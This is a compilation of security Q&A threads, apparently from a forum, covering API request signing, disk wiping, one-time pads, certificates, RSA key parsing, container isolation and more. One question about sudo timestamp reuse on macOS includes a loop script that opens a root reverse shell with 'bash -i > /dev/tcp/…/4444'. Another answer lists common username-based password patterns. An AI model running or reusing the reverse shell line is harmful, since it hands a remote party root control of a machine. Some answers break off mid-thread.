Securing an API with Django Rest Framework I'm looking to implement a public (edit: rather, an authenticated api exposed to the internet) API on top of Django, and Django Rest Framework seems to be a popular choice. The APIs that I'm used to working with usually require that requests contain an API key, a nonce, and then a HMAC.

Looking at the authentication page, I see that the closest thing to an API key that's built in is JSON web token authentication.

I'd like to design an API that's secure against eavesdropping and replay attacks. If I were to implement this by hand, my instinct would be to generate API key & secret pairs for users and make them sign requests something like this:

import hmac, hashlib, time

API_KEY, API_SECRET = # loaded from environment
BASE_URL = "https://myservice/api/v1/"
def signed_request(method, endpoint, body=None):
    nonce = str(int(round(time.time() * 1000)))
    to_sign = nonce + method + endpoint + (body or '')
    sig = hmac.new(API_SECRET, to_sign, hashlib.sha256).hexdigest()

    headers = {
        'key' : API_KEY,
        'signature' : sig,
        'nonce' : nonce
    }

    # Actually make the request
    do_the_request(method, BASE_URL + endpoint, body, headers)

I would then verify on the server side that:

def verify_request(method, endpoint, body, headers):
    secret = get_secret_from_database(api_key=headers['key'])
    verify = headers['nonce'] + method + endpoint + body

    valid_sig = hmac.new(secret, verify, hashlib.sha256).hexdigest() == headers['sig']
    valid_nonce = int(headers['nonce']) > get_last_nonce_from_database(api_key=headers['key'])

    if valid_sig and valid_nonce:
        # Valid message
    else:
        raise Exception("Bad signature")

I'd like to know

Can I do this via the Django Rest Framework, and if not is there a package for Django that does this? (If this isn't possible, is there a reason it's not implemented?)
Is this a safe authentication scheme given my goals (only the person in possession of the token can generate valid requests, no replays, etc.)?
Is there a better, more idiomatic approach?
Is it even necessary to seek a third-party library, or are the edge cases limited enough that a home brewed solution--accompanied by unit tests--is sufficient?

Can I do this via the Django Rest Framework, and if not is there a package for Django that does this? (If this isn't possible, is there a reason it's not implemented?)

This cannot be done via the Django Rest Framework, and the djangohmac package suffers from the timing attack vulnerability identified by @Dogeatcatworld.

  Is this a safe authentication scheme given my goals (only the person in possession of the token can generate valid requests, no replays, etc.)?

No, not completely. In order to be safe, the timing attack vulnerability needs to be removed. I.e. rather than checking signature == expected_sig which will terminate at different times due to where in the string a discrepancy is found, an algorithm that checks the whole string regardless needs to be used.

def is_equal(str_a, str_b):
    equal = True
    for i in range(min(len(str_a), len(str_b))):
        if str_a[i] != str_b[i]:
            equal = False
    return len(str_a) == len(str_b) and equal

Note that this still leaks the expected signature length, potentially.

  Is there a better, more idiomatic approach?

That looks like it.

  Is it even necessary to seek a third-party library, or are the edge cases limited enough that a home brewed solution--accompanied by unit tests--is sufficient?

Use the python libraries for all of the cryptography and do the length check yourself--that's fine.


Are TCP socket connections over private wifi encrypted using WPA2 PSK? I recently made a very basic TCP client/server system in C++. I got the client and server running between two computers connected to my private Wi-Fi. Since a private Wi-Fi is encrypted, does that protect the TCP server-client communication in any way?

How about connecting it over WAN ? In that case, cryptography would be mandatory, right?

I am thinking of using ECDH with AES 256-CBC as my encryption scheme.

Since a private Wi-Fi is encrypted, does that protect the TCP server-client communication in any way?

Of course it protects the connection: to the level that WiFi connection is secure. And if the connection travels over anything that is not WiFi, then it is not protected. In itself, assuming that the connection is WiFi, or WiFi all the way seems just waiting for somebody to connect an additional wired router or switch, if you ask me.

Although it's getting better fast, previous WiFi protocols were all very vulnerable against attacks and the WiFi designers have been ignoring standard secure cryptographic techniques in the past. I would still not fully trust the security offered by it for any serious data. And that's assuming a professionally implemented WiFi connection, of course; all bets are off otherwise. Adding an additional layer seems very wise.

  How about connecting it over WAN ? In that case, cryptography would be mandatory, right?

WAN is just a designation of how far a network spreads. It does not carry any mandatory security. As such, it would depend on the specific WAN. My connection to the ISP does not offer enough protection for me to trust it. Hopefully some kind of VPN is applied, and then the security of that particular VPN needs to be investigated.

Just like WiFi, it may not provide full point-to-point security from client to server. And any changes in it may still break any assumptions made for your client / server security.

  I am thinking of using ECDH with AES 256-CBC as my encryption scheme.

Seriously, use TLS. Just using ECDH won't cut it and AES in CBC mode is vulnerable against padding oracle attacks. The chances of creating a secure transport mode yourself are so remote as to be near non-existent, so you have to use a common existing protocol.


API - How can I make sure data sent by the user is only sent to my application? I have an API and a web application where users can login through another system and then post text messages to my application, for example.

How can I assure that when this data is only posted to my application, and not sent to other websites?

If I read the question correctly, long story short is that you can't.

Data is being input into a system under someone else's control. Any measure you take to ensure the data is sent to you can be circumvented by the other party.


wipe encrypted disk by nulling the first few bytes? If I encrypt a whole partition with AES, is it secure to just overwrite the first few bytes of the partition in order to make it completly unreadable even if an attacker knows the passphrase to access it?

Some FDE schemes, such as BitLocker, store their metadata (plain-text information about how to decrypt the volume, plus things like the encrypted master key and how it is protected) in multiple places, scattered across the volume. This is done for redundancy against minor disk corruption causing 100% data loss. You would need to wipe all of the metadata to prevent somebody who would otherwise be able to decrypt the master key from decrypting the volume.

Even aside from that, though, wiping the first few bytes won't do anything at all unless you did something like use openssl to encrypt the whole volume directly, instead of using an actual full-volume encryption tool. The reason is that the first few (hundreds of) bytes of the volume is metadata about stuff like what file system is on the volume (or what full-volume encryption scheme was used and where to find its metadata). The first few bytes of this is almost always either irrelevant, predictable, or both. Wiping it won't save you anything.

Finally, even if you did something like the "openssl the whole block device" idea, nulling "the first few bytes" doesn't add nearly enough entropy to prevent somebody from just brute-forcing the encryption, assuming they know the key. Let's say you wiped three bytes. Three bytes is 24 bits, or roughly 16 million possible values. Assuming the attacker has a way to test any given possible value for those three bytes (to see if it's what they were before being wiped) in less than 1000 AES decryption operations (realistically it'd probably be much less). Given modern hardware-accelerated AES speeds, your typical desktop CPU could find the original value of those 3 wiped bytes in under a minute.


how does the key size and algorithm strength affect encryption strength The AES algorithm and asymmetric encryption use multiple key lengths that affect the strength on the key used. But, how does the key size and algorithm strength affect encryption strength?

Bigger key size means, harder to crack. Also note that an 256-bit key is not two times harder to crack from a 128-bit key, but many many times harder.

An algorithm uses difficult math functions in order to decide how to encrypt/decrypt, making it impossible for an attacker to bruteforce and find out the key.
An algorithm might use harder math function than another algorithm thus requiring more time to encrypt/decrypt. Also the algorithms might have "bugs", making it easy to find out a few bits of the key, meaning an 256-bit algorithm to actually have 250-bit of true encryption since the 6 bits can be calculated easily.

I've heard you can figure out 1 bit in the AES algorithm easily, but still in order to crack AES and find out the rest of the bits you will still need many years, since you will have to find the rest of the key through bruteforce.

If enough bits of an encryption algorithm are easy to figure out, then the algorithm is "cracked", and its possible to find the key easily.


XOR Encryption with Key EDIT: please move to crypto (just realized it is the wrong one and "You can only post once every 40 minutes.")

Suppose I give a sufficiently long key in a secure way (in person) to Alice.

I send her a file that is XORed with the key I initally gave her.
In the file, there contains the message and a new, sufficiently long key.

Alice then creates a file and XOR with the key that is contained in my message.
(Alice's file contains her message and a new key)

What weaknesses are there to this approach?
(Suppose too that we pad all messages with random bytes such that the file is 100 KiB in size)

What you're describing is the perpetual-motion version of a one-time pad. It doesn't work; the space you have to share the next pad gets shorter with every message. Any given bit in a one-time pad can only be used to encrypt one bit of message.

Let's say you a gave 100KB pad ("key") to Alice. You then send her a 50KB file; this takes 50KB of your pad. You can, if you want, use the last 50KB to send a new pad.*

Alice now has only 50KB of pad that have never been used (the 50KB that were sent under the encryption of the original pad, following the file). She wants to send you a 30KB message, so she encrypts it with the never-used pad and then uses up the rest of that pad - another 20KB worth - to send you a new random pad. The rest of the message is padded out with random bytes to be the same length as the first message.

If Alice were to try using those 50KB for anything real (like more key material), she'd have to re-use part of a pad that had already been used, violating the "one-time" nature of the pad and moving it from "theoretically unbreakable" to "undergraduate homework assignment in the first week of the class" (assuming the new key material were ever itself used as a "one-time" pad).

You now only have 20KB of pad that have never been used. This is after exchanging 80KB of actual messages. It is not a coincidence that these numbers sum up to the original 100KB of pad you exchanged initially. You can't add additional entropy (randomness / unpredictable numbers) into the system except by exchanging further keys.

*As you may have noticed, there's no reason to burn 50KB, 20KB, or whatever of one-time pad sending a new one-time pad. The amount of new key material conveyed is the same as the amount of old key material made useless. You may as well just not use the leftover part of the original pad until you need it for actual message content.

Modern crypto algorithms, which are vastly more complicated than XOR (though they may use XOR as part of the full cryptographic scheme), have ways of "stretching" a key so it can encrypt data longer then itself, without exposing the key (even indirectly) the way XOR does. This is, for example, how all stream ciphers work; they take a key, and from that key they can produce a near-infinitely-long stream of pseudo-random values (that is, they look random if you don't know what they're generated from) that can be used for encryption and decryption (via XOR). The fact that you can never re-use any part of that stream isn't a big deal; it's possible to make it super long, and you can potentially send another key - that will itself get stretched to a long stream - if you get near the end. The total security of this scheme is only (at best) as good as the original key - if the original key was only 40 bits long, for example, it's only going to take at most a bit over a trillion attempts to figure out how to decrypt the entire message including the key used for the next bit - but with sufficiently long keys (128+ bits) that's usually acceptable.

It is worth noting that even modern ciphers are not necessarily as strong as their key length implies. For example, the RC4 stream cipher (which uses 128-bit keys) was recently found to be breakable (at least for the early part of the message) if you can capture a few millions or billions of bytes of messages (plus some guess-and-check, with more guessing needed for less data captured). This is because the "keystream" - the pseudo-random one-time-pad-like-data generated from a given key - was found to be not actually random enough; it has biases (a given bit was not equally likely to be zero or one) that could be discovered by examining enough encrypted text where the corresponding plaintext is known, and using the knowledge of those biases to break the encryption on ciphertext whose plaintext is not known.


How do I pass a list of cookies to Wfuzz? I know that you can pass cookies in Wfuzz by using multiple -b parameters like so: wfuzz -w /path/to/wordlist -b cookie1=foo -b cookie2=bar http://example.com/FUZZ

but I am wondering if you can pass a list of cookies, instead of doing them one by one, which takes forever and is ineffecient. I have looked everywhere for an answer it seems but I can't find one.

I'm not 100% sure what you mean by "list" in this case, but I'm assuming you mean you want to pass them as a single argument instead of having to specify multiple -b arguments.

Of course, cookies are just sent in an HTTP header, and -b is provided for convenience as to not require you to craft the header manually.

However, check out the wfuzz man page:

  -H headers

Use headers (ex:"Host:www.mysite.com,Cookie:id=1312321&user=FUZZ"). Repeat option for various headers.

So, you should be able to pass a cookie header with a list of cookies.


Is it possible to respect a user's privacy while collecting phone MAC addresses? In London, there are trash bins that track a phone's MAC address and monitor the users movement from one location to another.    I want to see if there is any best practice for collecting private information like this that allows for analysis, but also anonymity.

Imagine the scenario where a MAC address, location information and date time data is stored in a back end database.  However rather than store the data in a raw format, only store the summary or trend data.

Is there any mathematical (cryptographic) or logical process that can be followed to decouple the MAC address, and location bits of data and  "dilute" it so that privacy is maintained?

Some ideas that crossed my mind included one-way hashes, and hommomorphic encryption, combined with some indicators in statistics.

I'm asking here in case someone much smarter than me has come up with an approach that solve the problem of gathering PII, anonymizing it, and allowing for trending and market research.

Cryptography is rarely the right tool for privacy issues. Here, the trash bins are listening for the broadcast of MAC addresses by WiFi enabled devices, in particular phones. The tracking part is made possible due to the combination of several parameters:

WiFi-enabled devices broadcast data regularly. This is rather unavoidable: for WiFi to actually occur, either the device or the access point must talk first. Since there are "hidden" access points who do not talk until specifically addressed, the devices must blabber about constantly.
MAC addresses are fixed. An important point of MAC addresses is their uniqueness: things must be so that no two "unaltered" devices may use the same MAC address simultaneously, on the same local network. To ensure this uniqueness, a global allocation scheme has been designed, with hardware vendors being allocated address ranges. It is possible to force a MAC address change on most hardware, but this is "frowned upon".
People don't switch off the WiFi when not at home. They should (in particular, not using WiFi extends battery life), but they do not.

In the example, the trash bins just listen to all the broadcasting, and correlate data between each other, thus "tracking" the whereabouts of phones (and thus, presumably, of phone owners). A lone bin would not get much interesting data, but a lot of bins can come up, together, with a rather thorough map of movement behaviour of people. Note that the MAC address cannot be traced back to an owner identity, but it can, at least, uncover the hardware vendor name, because of the global MAC allocation system, which is public.

What could be done, assuming that we are free to define new protocols, is to replace the fixed 48-bit MAC addresses with random 128-bit addresses (regenerated frequently, e.g. every minute will not actually connected to an access point). Random addresses of 128 bits ensure uniqueness with sufficiently high probability, even if lots of devices are happen to be in the same location. For instance, if you have a stadium full of 60000 people, each with a phone, and they all try to do WiFi, 128-bit random MAC addresses would allow a collision to occur with probability about 2-97, i.e. "won't happen". But here we are talking about defining a new WiFi protocol and hoping for all devices and access points to simply switch to it, forfeiting any attempt at compatibility with existing WiFi access points. This kind of change is unlikely to occur within the next few years.

In the meantime, if you value your privacy, then simply shut down the WiFi !


Is there any malware capable of updating itself? It seems very easy to implement, hardcode a URL in a function, and then run the function(every 12 hours for example). It checks the URL's provided version number, if theres a mismatch, it downloads the update from the URL(encrypted with a private key), then decrypts it with the public key(hardcoded) and applies it.

Why would authors of viruses such as WannaCry not implement such a mechanism?

Malware that is made to persist on a machine (such as trojans, bots and similar) is mostly provided with update routines.
Most of the cases the malware will enable the master to provide a link to another binary that will then be downloaded and executed.

Since every malware made to "herd" bots is provided with a "download & execute"-Function in some cases this is just an easy step. Download, execute and then kill the main binaries persistence.

It could e.g. look a little like this in the backend: (ignore the fact, that this gaudox is probably old and ugly as f.... ;)


Is appending plaintext to salt equally safe as appending salt to plaintext Is using hash(salt, plaintext) equally secure as using hash(plaintext, salt), i.e. can the plain text be appended to salt in place of appending salt to the plain text.

Why or Why not?

What kind of threats it may lead to if the above approach is incorrect?

If you're having to deal with this question, you are more likely than not making a big mistake: you're rolling your own password hashing code.  This is bad, because:

Password hashing is a complicated topic that most people get wrong;
You'd be reinventing the wheel, instead of using a well-known and studied dedicated password hashing function like PBKDF2 or bcrypt.

These latter functions usually have interfaces that look like this:

Arguments:

Plaintext password
Salt
Cost factor

Return:

A password verification tag

They take the password and salt as separate arguments, so you do not need to append one to the other in any order.  In fact, neither of them appends the password and the salt in either way that you suggest.


What are the most common username-based password patterns? I know that there are some common passwords like hunter6 or Password. These are very insecure since everybody knows to try them first.

It is commonly thought that passwords derived from the username alone are also insecure. For instance, setting the password to the same as the username is often accepted a bad idea. Simple functions (eg the username backwards) would in theory also offer little added security - is there any research on which such functions for deriving a password based on the username are the most common?

Username + Current Year

Username + Digit (any of 0-9)

Username + 123

Those are my top 3 determined from a 4000 stations login surveys in a large company.


OV vs EV Certificates where exactly is the difference in validation between OV and EV?

both types of certs validate that a company exists in some way and that's pretty much it.

I mean point 2.1.3 explicitly states that it EVs are not vouching for

that the company is active
that it is legal
that it's trustworthy
that it's safe to do business with it

and the only primary purposes are:

Identify the legal entity that controls the site
enable encrypted communications

isnt this pretty much the same what OVs do?

going from that the green bar is the only reason why somebody should get the EVs.

but why do EVs get the green bar, while OVs dont? wouldnt it make more sense to abolish EVs and make all OVs green?

by the most part I have read the only real differences are the green bar and most importantly the price.

Are there any difference between OVs and EVs that I have not seen yet?

As the name implies, Extended Validation certificates require a much more rigorous verification requirements than OV. While you're correct that the CA isn't guaranteeing the legality of the site, they are vouching for (11.1.1.) much more than they would be in the OV case.

  Verify Applicant’s existence and identity, including;

  (A) Verify the Applicant’s legal existence and identity (as more fully set forth in Section 11.2 herein),
  (B) Verify the Applicant’s physical existence (business presence at a physical address), and
  (C) Verify the Applicant’s operational existence (business activity).

  Verify the Applicant is a registered holder, or has control, of the Domain Name(s) to be included in the EV Certificate;
  EV Guidelines, v. 1.6.2 15
  Verify a reliable means of communication with the entity to be named as the Subject in the Certificate;
  Verify the Applicant’s authorization for the EV Certificate, including;

  (A) Verify the name, title, and authority of the Contract Signer, Certificate Approver, and Certificate Requester,
  (B) Verify that a Contract Signer signed the Subscriber Agreement or that a duly authorized Applicant Representative
  acknowledged and agreed to the Terms of Use; and
  (C) Verify that a Certificate Approver has signed or otherwise approved the EV Certificate Request

While 11.1.1.(1)(C) might seem to be a contradiction with the exclusion for the company's activity, it means that the entity was active at the time of application for the EV certificate, though the CA cannot guarantee that the entity is still currently active.

11.14.3. Specifies that the CA cannot use data older than 13 months to support issuance of certificates, and EV Certificates have a maximum lifetime of 825 days (and as of 1 March 2018 all certificates will have this maximum). Thus, an EV certificate certifies that the entity was active within 13 months of the issue date and it will be trusted for a maximum of ~27 months from that date.

Each of the verifications above is also more rigorous; for example:

  11.2.2 (4) Principal Individual: A Principal Individual associated with the Business Entity MUST be validated in a face-to-face setting.

The description of the requirements for this face-to-face validation goes on for a full page.


What is the format of an RSA public key? I have this RSA public key from which I want to get Modulus and exponent part but not able to get the format in which it is encoded. Can someone please tell how to decode it?

-----BEGIN PUBLIC KEY-----
MIIBBgKBgDI/ranPo8MDfguQfSzqg7mtNlUJLLBK7tlVALyk42agbLTSFcZbs9Yw
t3nSe9yNzZB9ZVrL3O9GXkEb6xvj3dqrog+wWOeFCqNV7BuJNYYC/ef4vlnUFQdw
yswbd7d198qjWBZ7MiZRXxX8qKRln+osTvsDYOMZk93k0cGZgyuJAoGAHkgFohgA
nH93kDPjN4sHaT9WsmZ4ailbMtcnWuLizTRJ2sdGjNrpuwT1R+x1nlYHOeDUSOu6
De0kQJX+HZuQCoha6THsdgcV297krN22FwsDZ1PItXLIr5oC7zcNQaDyAJOIv6BC
ufHQ0IR+L9b9esniMbF8yV0d7EVAaBJiyRk=
-----END PUBLIC KEY-----

$ cat > foo.txt
-----BEGIN PUBLIC KEY-----
MIIBBgKBgDI/ranPo8MDfguQfSzqg7mtNlUJLLBK7tlVALyk42agbLTSFcZbs9Yw
t3nSe9yNzZB9ZVrL3O9GXkEb6xvj3dqrog+wWOeFCqNV7BuJNYYC/ef4vlnUFQdw
yswbd7d198qjWBZ7MiZRXxX8qKRln+osTvsDYOMZk93k0cGZgyuJAoGAHkgFohgA
nH93kDPjN4sHaT9WsmZ4ailbMtcnWuLizTRJ2sdGjNrpuwT1R+x1nlYHOeDUSOu6
De0kQJX+HZuQCoha6THsdgcV297krN22FwsDZ1PItXLIr5oC7zcNQaDyAJOIv6BC
ufHQ0IR+L9b9esniMbF8yV0d7EVAaBJiyRk=
-----END PUBLIC KEY-----
$ openssl asn1parse -i -in foo.txt
    0:d=0  hl=4 l= 262 cons: SEQUENCE
    4:d=1  hl=3 l= 128 prim:  INTEGER           :323FADA9CFA3C3037E0B907D2CEA83B9AD3655092CB04AEED95500BCA4E366A06CB4D215C65BB3D630B779D27BDC8DCD907D655ACBDCEF465E411BEB1BE3DDDAABA20FB058E7850AA355EC1B89358602FDE7F8BE59D4150770CACC1B77B775F7CAA358167B3226515F15FCA8A4659FEA2C4EFB0360E31993DDE4D1C199832B89
  135:d=1  hl=3 l= 128 prim:  INTEGER           :1E4805A218009C7F779033E3378B07693F56B266786A295B32D7275AE2E2CD3449DAC7468CDAE9BB04F547EC759E560739E0D448EBBA0DED244095FE1D9B900A885AE931EC760715DBDEE4ACDDB6170B036753C8B572C8AF9A02EF370D41A0F2009388BFA042B9F1D0D0847E2FD6FD7AC9E231B17CC95D1DEC4540681262C919

There you go. I used these commands on a fairly regular Linux system.

Note that your file is weird. A RSA public key consists in two integers, the modulus (n) and the public exponent (e). It is normally encoded as an ASN.1 structure that is a SEQUENCE of two INTEGER values. That structure is then supposed to be DER-encoded, and the resulting sequence of bytes to become the contents of a BIT STRING in another, outer ASN.1 structure that also contains an explicit identifier for the key type (i.e. an indication that the key is really of type RSA). In your case, that outer structure is missing, so there is formally no indication, neither in the encoded ASN.1 structure, nor in the PEM header ("BEGIN PUBLIC KEY"), that the key is a RSA key.

As a RSA key, it looks a bit strange too. The first integer, purportedly the modulus, has length 1022 bits, which is not very common (developers and cryptographers really love powers of 2, so they won't accept a 1022-bit integer if there is any possibility that they could make a 1024-bit integer). The second integer, the public exponent, is quite large (1021 bits); this is formally supported by RSA, but very rare: public exponents can be very short with no ill effect on security, and this makes public key operations much faster, so there is no real reason for using a large exponent. Some widespread implementations (Windows CryptoAPI...) don't even support public exponents larger than 32 bits.

If what you have is really a RSA public key, then chances are that someone is pulling your leg -- or is doing things in uncommon and probably weak ways.


What kind of attacks can happen on port 80 I am a novice to network security domain.
For one of our clients, we are trying propose a network model where an Apache proxy/web-server which will be the only one that is exposed into the DMZ(Demilitarized Zone) and application servers/DB will be inside the WAN. But the client is insisting on keeping an application server running out in the DMZ.

We know that its a security risk but we are not able to back ourselves by putting solid points across .

The questions I have are,

would exposing just 80 or 443 still compromise the security?
Can a hacker push bots or take control of the server and in turn reach the internal network?
What kind of security measures need to be taken given this approach?

Note: We are using Windows servers.

WAN or LAN?

  would exposing just 80 or 443 still compromise the security?

Yes it would - there could be numerous vulnerabilities in the web app that an attacker could use to gain control of it.

  Can a hacker push bots or take control of the server and in turn reach the internal network?

Yes, once they have control of the web server they might be able to leverage that access to gain control of other machines. It very much depends on which other internal servers that machine can communicate with.

  What kind of security measures need to be taken given this approach?

I would recommend you hire a security firm to pen test this. Before deployment you could arrange for you application to be audited in a separate environment.


Shall i proceed with CEH-LPT-OSCP? Or any other course? Well actually i am student and will be completing my school in more 2-3 months.
Being really interested and keen towards the cyber security,  i have really surfed the net and asked friends and seniors to ask how shall i proceed.
If someone could tell me , if i want to set in this field , what are the best course of options that i should do, would be a great help.
On internet its really a mess about CEH / LPT / OSCP / ECPPT etc.
Currently i only know C++ and SQL.
Wanted to know that how STEPWISE should i proceed with these courses to get settled in this field.

Thanks.  :)

I am also currently a student close to graduating, my degree is in MIS and I have had a concentration in information security. Before even attending my 4 year I had spent a bit of time doing research on infosec and pentesting. One thing I will say is these are two similar but different fields, but both provide very valuable info. My suggestion is to read these two books, The first one is what I read before coming to 4 year. The basic of pen testing will teach you red team tools, networks, website security, and how to use the command line. The second book follows the curriculum of my information security and assurance course; this is typically understanding what a vulnerability is, CIA triad, least user privilege..ect. Infosec is more business side with analytics; where as pen-testing is more the infield computer engineering position. As for certs CEH is good to have, so is security+ people might disagree, but they are slightly easier and just having the certs show you are willing to learn more about the field.

I have no real world job experience, but the people I have talked with about corporate security say the positions will be looking to see that you understand security controls, understand what an audit is, know how networks work, and some red team tools. Each opportunity is different I personally try to have a grasp on everything, but focus on networks as that is what drives most internet and corporate information. I hope this helps I am sure more people will chime in, good luck with your research.

https://www.amazon.com/Basics-Hacking-Penetration-Testing-Second/dp/0124116442/ref=sr_1_7?ie=UTF8&qid=1487705873&sr=8-7&keywords=pentesting

https://www.amazon.com/Basics-Information-Security-Second-Understanding/dp/0128007443/ref=sr_1_4?ie=UTF8&qid=1487705896&sr=8-4&keywords=information+security


How reliable is a write protection switch on a USB flash drive? I'm currently using a USB flash drive with a live distribution. At times I would plug it into terminals I cannot trust.

My threat model here is solely the risk of unauthorized modifications to the live distribution image on the flash drive. Unfortunately, a live CD is not convenient enough (the file system has to allow writes when used on a secure terminal and constant remastering is too cumbersome).

I'm considering now if a physical write protect (read only) switch on the flash drive is reliable enough to be trusted. I mean such as can be seen on older flash drives (e.g. PQI U339H).

From what I've found so far, the write protection is said to be done completely on hardware level, but I couldn't verify if there's indeed no way to circumvent it. For sure with SD cards there is (as it's basically software level information that doesn't have to be respected by rogue systems).

For instance the SD Simplified Specification describes it as:

  4.3.6 Write Protect Management

  Three write protect methods are
  supported in the SD Memory Card as
  follows:

  Mechanical write protect switch (Host responsibility only)
  Card internal write protect (Card's responsibility)
  Password protection card lock operation.

  Mechanical Write Protect Switch

  A mechanical sliding tablet on the
  side of the card (refer to the Part 1
  Mechanical Addenda) will be used by
  the user to indicate that a given card
  is write  protected or not. [...]

  A proper, matched, switch on the
  socket side will indicate to the host
  that the card is write-protected or
  not. It is the responsibility of the
  host to protect the card. The position
  of the write protect switch is unknown
  to the internal circuitry of the card.

  [...]

Do you know of some similar technical explanation of how this kind of write protection works on USB flash drives and would relying on it for security be wise?

Physical write protect on a USB drive should work in all cases. The write controller is in the drive itself. Thus, excepting a wholly insane implementation, the physical write protect switch is secure.

Physical write protect is always kind of a semi-soft thing, but it's usually at the drive internals. With a floppy drive where the controller is external to the device, one could craft a drive that ignored the write-protect slider. I think SD cards are the same as floppy drives in that regard, though I won't make a bet on it because I know those include some circuitry for things like wear-leveling.


Are cross site scripting attacks and sql injection a good topic for my thesis? So I'm doing my undergraduate thesis, I would like to explore how cross site scripting sql injections occur. And for the purpose of the thesis I'd also like to create a fictional website that is vulnerable to cross site scripting and sql injection and then evaluate the different ways that such attacks could be prevented by using vulnerability scanners and other methods.
Though, I think this topic would be too simple for a thesis, does anyone have any suggestions on what else to add that would add some more complexity to this topic?

Thanks

I wouldn't do it. Injection attacks have been in the wild for long time, and everyone (in this field) know about them.

As I see you are focusing on web applications, my suggestion is to take one of the vulnerabilities in the end positions of the OWASP's ranking, and then research about it.


Securely remove data from hard drive without killing recovery partition Information Security vs Business question here:

IT department asks me for a way to securely remove data from a hard drive because they want to sell old hardware.

I suggest DBAN as a secure wipe tool.

Problem: DBAN will remove every partition / hard drive it comes across including the recovery partition.

Question: is there a way to remove data from the "work" partition in a secure way while keeping the recovery partition?

Disks do not always map a logical address to the same physical location, especially SSDs. When a remap has happened, the physical location with data may not even be accessible to user programs like DBAN. Specialised make/model-specific tool will be required and they most often can only do full wipes.

So the only real safe solution is to clone the recovery parition to a new drive and destroy the old one. Of course whether you do this depends on how sensitive/valuable the data is and what kind of potential threats you want to defend against.

A more economical workaround is to clone the recovery parition (and partition table/MBR) to another media, fully wipe the original using the correct tool and clone the partition back.


Safely Use sudo Without allowing Other applications root privileges on Mavericks I have noticed recently on OS X Mavericks that running sudo will not only allow one to run it again in the same window or even the same application, but will permit any application to run shell commands as root. This would mean that any application continually trying to run sudo without a password in a loop would gain root privileges. Is there a way to change this?

Example shell script:

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
say root
echo root
exit
fi
done

If that is run in the background and then a sudo command is run it will say root then exit.
Another example that I would be more concerned about is this:

while (true) do
if [ `echo ""|sudo -S whoami` = "root" ]; then
bash -i > /dev/tcp/192.168.1.8/4444 0>&1
fi
done

Alright, after doing some research into the issue, it turns out that this behavior is because OS/X spawns the same TTY over and over again, and since sudo has a timeout, applications in the background automatically receive sudo permissions when you give sudo permissions to a completely different application.

Thankfully, the fix isn't hard. All you need to do is edit your sudoers to add the following line:

Defaults:ALL timestamp_timeout=0

(Thanks to a certain Themson Mester for suggesting this config option!)

This will make the behavior a lot stricter - only your application gets the sudo permissions, and it times out immediately. I used this as a reference to make this change, and it has a lot of helpful tips if you're looking to change other things in your sudoers.

Thanks for the great question, I learned something new today. :)


If a container is compromised does that mean host also compromised? Recently, I have heard of a new virtualization tech called containers. Suppose the container has been compromised, does this mean the host is also compromised (since the container is a process on a host)? In terms of security, is a VM (virtual machine) more secure than containers?

If the kernel is compromised in the container, the host is compromised.
Ostensibly, a compromised container should not be able to harm the host. However, container security is not great, and there are usually many vulnerabilities that allow a privileged container user to compromise the host. In this way, containers are often less secure than full virtual machines. That does not mean that virtual machines can't be hacked. They are just not quite as bad.
If the kernel is exploited in a virtual machine, the attacker still needs to find a bug in the hypervisor. If the kernel is exploited in a container, the entire system is compromised, including the host. This means that kernel security bugs, as a class, are far more severe when containers are used.
Containers are often implemented by using namespaces:

A namespace wraps a global system resource in an abstraction that makes it appear to the process within the namespace that they have their own isolated instance of a global resource. Changes to the global resource are visible to other processes that are members of the namespace, but are invisible to other processes.

Unfortunately, Linux namespaces typically expose a much greater attack surface area from the kernel. Many kernel vulnerabilities are exploitable in namespaces. While not every container solution uses Linux namespaces, they all use the same kind of technology, with the same security issues. Some containers, like Docker, are capable of making use of a syscall filtering framework called seccomp to reduce the attack surface area of the kernel. This is an improvement, but isn't enough.
From Daniel Shapira:

[...] kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient.


What countries have laws in place that respect Do Not Track HTTP headers or cookies? Google offers a Chrome plugin that uses cookies to control privacy, while Firefox offers a HTTP Header to tell websites to not track the users and log the data anonymously.

This obviously extends a level of trust to the advertiser to respect the user's privacy wishes.  The Google cookie approach seems to be based off an advertising consortium called aboutads.info.

Question

Can someone explain what consumer privacy protections are in place for advertisers?  I'm looking for links to legal repercussions, or how to report a negligent advertiser.

So far I've only found information on how to report non-compliant companies in the United States, but I don't know how effective that is (fines, etc) or what the laws are in other countries .

In the USA, privacy is a hot topic in congress — at least privacy with respect to what a corporation knows about us.  Mainly because corporations are slowly proving their inability to protect the information they collect from us.

On paper major corporations have recently agreed to honor Do Not Track headers, they have promised to provide a means to enable/disable this option, it happening slowly but still progress I suppose.

The problem is simply every country has a different expectation of privacy.  So what level of privacy should be the default?  Using the user's country to determine that is a bit of information, and a great way, to suppress information.

At this point the worst a company can do is break their own policy, get caught doing so, and have it be reported on by the world's media.  There really isn't a standard.

As Hendrik Brummermann points out.  A country that does have laws on the books about privacy has their hands tied, on companies outside of their borders, because the internet being borderless.


Is using encryption the only viable option to thwart password sniffing? I'm using HTTPS Everywhere on my browser to chose SSL versions of websites when available, but many sites don't offer a secure version. Is SSL the only viable option to thwart password/clear text sniffing?

If you don't want to send your data in plain text, you have to use encryption, but it doesn't always have to be SSL. For example, a site might choose to do their own encryption at the application level instead of just using SSL (though I can't imagine why anyone would ever do that >_<).

However, if a site doesn't offer this encryption, there is nothing you can do to avoid sending your data in plaintext. After all, the site is expecting it in only plain-text. You can't change that without changing what the site expects.


Is RDP susceptible to the BEAST attack? I have Windows 2008 R2 servers which are failing a PCI vulnerability scan because they have RDP enabled (needs to be disabled).

I have applied the PCI settings of IISCrypto tool, but I have to leave TLS 1.0 enabled in order not to break RDP. The only "solution" I have been able to find is to not use TLS, but that makes little sense since legacy RDP Security Layer is less secure.

Another site suggested turning off all cipher suites that use CBC, but doing that broke RDP for me.  I have also tried other suggested cipher settings, to no avail (also broke RDP).

This post seems to indicate that BEAST is not really an issue for RDP.

Can the BEAST vulnerability really be used to compromise RDP? Are there any exploits / has it ever been done?

A few things:

You might be interested in this link:  - seems PCI compliance scanners get confused about these issues sometimes.
Technically Beast applies to Browsers, but CBC is not what you want for your ciphers anyway.
However, CBC mode is default for FIPS complient RDP anyway :(
Yes, you definitely want TLS.

Without some more specific information about your setup, it is very hard to say what is breaking RDP (maybe that's more of a stack overflow or server fault kind of question anyway.... in fact check out this thread

However...

You want TLS 1.x for sure. DO NOT DISABLE TLS
Do your best to get rid of all CBC ciphers. They have inherent issues.

In Summary

